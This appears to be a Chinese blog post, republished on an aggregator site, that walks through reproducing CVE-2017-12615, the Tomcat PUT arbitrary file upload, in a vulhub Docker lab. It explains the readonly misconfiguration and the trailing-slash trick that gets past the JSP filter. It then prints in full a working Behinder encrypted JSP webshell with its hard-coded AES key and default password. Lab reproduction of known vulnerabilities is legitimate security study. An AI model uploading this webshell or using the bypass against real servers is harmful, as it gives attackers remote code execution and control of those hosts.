Tomcat任意文件写入(CVE-2017-12615)漏洞复现
Posted 玛卡巴卡巴巴亚卡
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Tomcat任意文件写入(CVE-2017-12615)漏洞复现相关的知识,希望对你有一定的参考价值。
一、漏洞原理
影响范围:pache Tomcat7.0.0-7.0.81(默认配置)
如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执行代码(RCE)漏洞,CVE-2017-12615:远程代码执行漏洞。只需参数readonly设置为false或者使用参数readonly设置启用WebDAV servlet false。此配置将允许任何未经身份验证的用户上传文件(如WebDAV中所使用的)。只要JSP可以上传,然后就可以在服务器上执行。在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上JSP文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意JSP文件,通过上传的JSP文件,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险。
二、漏洞复现
1、搭建环境
我使用vulhub
Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
#安装docker-compose
pip install docker-compose
# 安装docker
curl -fsSL https://get.docker.com -o get-docker.sh
sh get-docker.sh
# 测试脚本
curl -fsSL https://test.docker.com -o test-docker.sh
sh test-docker.sh
#安装漏洞环境
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-maste
#漏洞环境利用
cd vulhub-master/tomcat/CVE-2017-12615 # 进入需要开启的漏洞路径
docker-compose up -d
去底层查看源码
sudo docker ps
sudo docker exec -ti 2018aae20ba6 bash
cat conf/web.xml |grep readonly
漏洞产生是由于配置不当(非默认配置),将配置文件conf/web.xml
中的readonly
设置为了 false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法。
2、漏洞复现
burp抓包,修改GET为PUT上传方式,添加文件名backdoor.jsp/
(注意后面要添加/
),添加文件内容。
访问成功,说明文件上传成功
我们使用jsp木马上传
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
//冰蝎的jsp马,默认密码是rebeyond
在虚拟机查看
使用冰蝎访问
以上是关于Tomcat任意文件写入(CVE-2017-12615)漏洞复现的主要内容,如果未能解决你的问题,请参考以下文章
Java安全-Tomcat任意文件写入(CVE-2017-12615)漏洞复现
Tomcat任意写入文件漏洞(CVE-2017-12615) 复现
Tomcat任意文件写入(CVE-2017-12615)漏洞复现